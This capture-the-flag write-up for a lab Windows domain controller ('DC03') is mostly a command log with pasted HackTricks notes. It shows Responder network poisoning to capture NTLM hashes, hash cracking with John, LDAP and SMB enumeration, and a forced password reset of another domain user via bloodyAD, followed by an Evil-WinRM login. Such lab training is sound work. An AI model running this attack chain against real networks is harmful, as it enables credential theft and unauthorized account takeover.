☠️DC-3 ( kh )
DC-3 шүү
DC03 - Machine
Machine name: DC03
Machine type: Windows VM
Machine difficulty: 🟨 Medium
Tools Used
bloodyAD
CrackMapExec
Evil-WinRM
impacket-changepasswd
John the Ripper
LDAPDomainDump
ldapsearch
Nmap
PywerView
Responder
smbclient
Machine Writeup
ifconfig:
fping -a -g 192.168.56.0/24 2> /dev/null:
nmap -Pn -sS -sV -p- -T4 192.168.56.126:
nmap -Pn -sS --script=smb-protocols -p445 192.168.56.126:
nmap -Pn -sS --script=smb2-security-mode -p445 192.168.56.126:
<🔄 Alternative Step>
crackmapexec smb 192.168.56.126:
</🔄 Alternative Step>
echo -e '192.168.56.126\tDC01.SOUPEDECODE.LOCAL' | tee -a /etc/hosts:
HackTricks
[#Possible Credentials]
Username(s)
Common passwords
(blank)
(blank)
guest
(blank)
Administrator, admin
(blank), password, administrator, admin
arcserve
arcserve, backup
tivoli, tmersrvd
tivoli, tmersrvd, admin
backupexec, backup
backupexec, backup, arcada
test, lab, demo
password, test, lab, demo
[#Obtain Information]
[#List shared folders]
It is always recommended to look if you can access to anything, if you don't have credentials try using null credentials/guest user.
<❌ Failed Step>
smbclient --no-pass -L 192.168.56.126:
</❌ Failed Step>
nmap -Pn -sS --script=ldap-rootdse -p389 192.168.56.126:
HackTricks
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
[#Responder for Protocol Poisoning]
Responder is a tool used for poisoning LLMNR, NBT-NS, and mDNS queries, selectively responding based on query types, primarily targeting SMB services.
It comes pre-installed in Kali Linux, configurable at /etc/responder/Responder.conf.
Responder displays captured hashes on the screen and saves them in the /usr/share/responder/logs directory.
It supports both IPv4 and IPv6.
Windows version of Responder is available here.
Running Responder
To run Responder with default settings: responder -I <Interface>
For more aggressive probing (with potential side effects): responder -I <Interface> -P -r -v
Techniques to capture NTLMv1 challenges/responses for easier cracking: responder -I <Interface> --lm --disable-ess
WPAD impersonation can be activated with: responder -I <Interface> --wpad
NetBIOS requests can be resolved to the attacker's IP, and an authentication proxy can be set up: responder.py -I <interface> -Pv
[#DHCP Poisoning with Responder]
Spoofing DHCP responses can permanently poison a victim's routing information, offering a stealthier alternative to ARP poisoning.
It requires precise knowledge of the target network's configuration.
Running the attack: ./Responder.py -I eth0 -Pdv
This method can effectively capture NTLMv1/2 hashes, but it requires careful handling to avoid network disruption.
[#Capturing Credentials with Responder]
Responder will impersonate services using the above-mentioned protocols, capturing credentials (usually NTLMv2 Challenge/Response) when a user attempts to authenticate against the spoofed services. Attempts can be made to downgrade to NetNTLMv1 or disable ESS for easier credential cracking.
responder -I eth1 -v:
vim ./user_hash.txt:
john --wordlist=/usr/share/wordlists/rockyou.txt ./user_hash.txt:
crackmapexec smb 192.168.56.126 -d 'SOUPEDECODE.LOCAL' -u 'xkate578' -p 'jesuschrist' --shares:
smbclient -U 'xkate578' --password='jesuschrist' //192.168.56.126/share:
cat ./user.txt:
HackTricks
[#Using evil-winrm]
Read documentation on its github: https://github.com/Hackplayers/evil-winrm
To use evil-winrm to connect to an IPv6 address create an entry inside /etc/hosts setting a domain name to the IPv6 address and connect to that domain.
Pass the hash with evil-winrm:
<❌ Failed Step>
evil-winrm -i 192.168.56.126 -u 'xkate578' -p 'jesuschrist':
</❌ Failed Step>
HackTricks
[#Users, Groups, Computers & OUs]
pywerview get-netuser -w 'SOUPEDECODE.LOCAL' -u 'xkate578' -p 'jesuschrist' --dc-ip 192.168.56.126 --username 'xkate578':
pywerview get-netgroupmember -w 'SOUPEDECODE.LOCAL' -u 'xkate578' -p 'jesuschrist' --dc-ip 192.168.56.126 --groupname 'Domain Admins':
pywerview get-netgroupmember -w 'SOUPEDECODE.LOCAL' -u 'xkate578' -p 'jesuschrist' --dc-ip 192.168.56.126 --groupname 'Operators':
pywerview get-netuser -w 'SOUPEDECODE.LOCAL' -u 'xkate578' -p 'jesuschrist' --dc-ip 192.168.56.126 --username 'fbeth103':
HackTricks
389, 636, 3268, 3269 - Pentesting LDAP
[#ldapsearch]
Check null credentials or if your credentials are valid:
If you find something saying that the "bind must be completed" means that the credentials are incorrect.
You can extract everything from a domain using:
Extract users:
Extract computers:
Extract my info:
Extract Domain Admins:
Extract Domain Users:
Extract Enterprise Admins:
Extract Administrators:
Extract Remote Desktop Group:
To see if you have access to any password you can use grep after executing one of the queries:
Please, notice that the passwords that you can find here could not be the real ones...
<🔄 Alternative Step>
ldapsearch -x -H ldap://192.168.56.126/ -D "xkate578@SOUPEDECODE.LOCAL" -w 'jesuschrist' -b "dc=SOUPEDECODE,dc=LOCAL" "(sAMAccountName=xkate578)" memberOf:
ldapsearch -x -H ldap://192.168.56.126/ -D "xkate578@SOUPEDECODE.LOCAL" -w 'jesuschrist' -b "dc=SOUPEDECODE,dc=LOCAL" "(CN=Domain Admins)" member':
ldapsearch -x -H ldap://192.168.56.126/ -D "xkate578@SOUPEDECODE.LOCAL" -w 'jesuschrist' -b "dc=SOUPEDECODE,dc=LOCAL" "(CN=Operators)" member | grep "member:":
ldapsearch -x -H ldap://192.168.56.126/ -D "xkate578@SOUPEDECODE.LOCAL" -w 'jesuschrist' -b "dc=SOUPEDECODE,dc=LOCAL" "(CN=Fanny Beth)":
</🔄 Alternative Step>
HackTricks
389, 636, 3268, 3269 - Pentesting LDAP
[#Valid Credentials]
If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:
mkdir ./ldapdomaindump
ldapdomaindump 192.168.56.126 -u 'SOUPEDECODE.LOCAL\xkate578' -p 'jesuschrist' -o ./ldapdomaindump:
ls -alps ./ldapdomaindump:
firefox ./ldapdomaindump/domain_groups.html
Account Operators:
Xenia Kate
Xenia Kate
xkate578
06/15/24 20:04:39
10/23/24 00:34:45
09/07/24 20:01:43
NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD
08/01/24 05:37:18
1182
Adventure seeker and extreme sports fan
...
...
...
...
...
...
...
...
...
...
firefox ./ldapdomaindump/domain_users_by_group.html
Domain groups:
Account Operators
Account Operators
Members can administer domain user and group accounts
06/15/24 19:25:27
08/01/24 05:34:35
548
...
...
...
...
...
...
...
Domain Admins
Domain Admins
Denied RODC Password Replication Group, Administrators
Designated administrators of the domain
06/15/24 19:25:27
08/01/24 06:10:32
512
...
...
...
...
...
...
...
Operators
Operators
Domain Admins
08/01/24 06:03:48
09/05/24 22:08:09
2166
...
...
...
...
...
...
...
The Hacking Recipes
This abuse can be carried out when controlling an object that has a GenericAll, AllExtendedRights or User-Force-Change-Password over the target user.
It can also be achieved from UNIX-like system with net, a tool for the administration of samba and cifs/smb clients. The pth-toolkit can also be used to run net commands with pass-the-hash.
The rpcclient can also be used on UNIX-like systems when the package samba-common-bin is missing.
Alternatively, it can be achieved using bloodyAD
bloodyAD --host "192.168.56.126" -d "SOUPEDECODE.LOCAL" -u "xkate578" -p "jesuschrist" set password "fbeth103" 'H4ck3d!':
<🔄 Alternative Step>
impacket-changepasswd 'SOUPEDECODE.LOCAL/fbeth103@192.168.56.126' -altuser 'xkate578' -altpass 'jesuschrist' -newpass 'H4ck3d!' -no-pass -reset:
</🔄 Alternative Step>
crackmapexec smb 192.168.56.126 -d 'SOUPEDECODE.LOCAL' -u 'fbeth103' -p 'H4ck3d!':
evil-winrm -i 192.168.56.126 -u 'fbeth103' -p 'H4ck3d!':
whoami:
whoami /groups:
whoami /priv:
hostname:
cd C:\Users\fbeth103\Desktop
dir:
type root.txt:
Last updated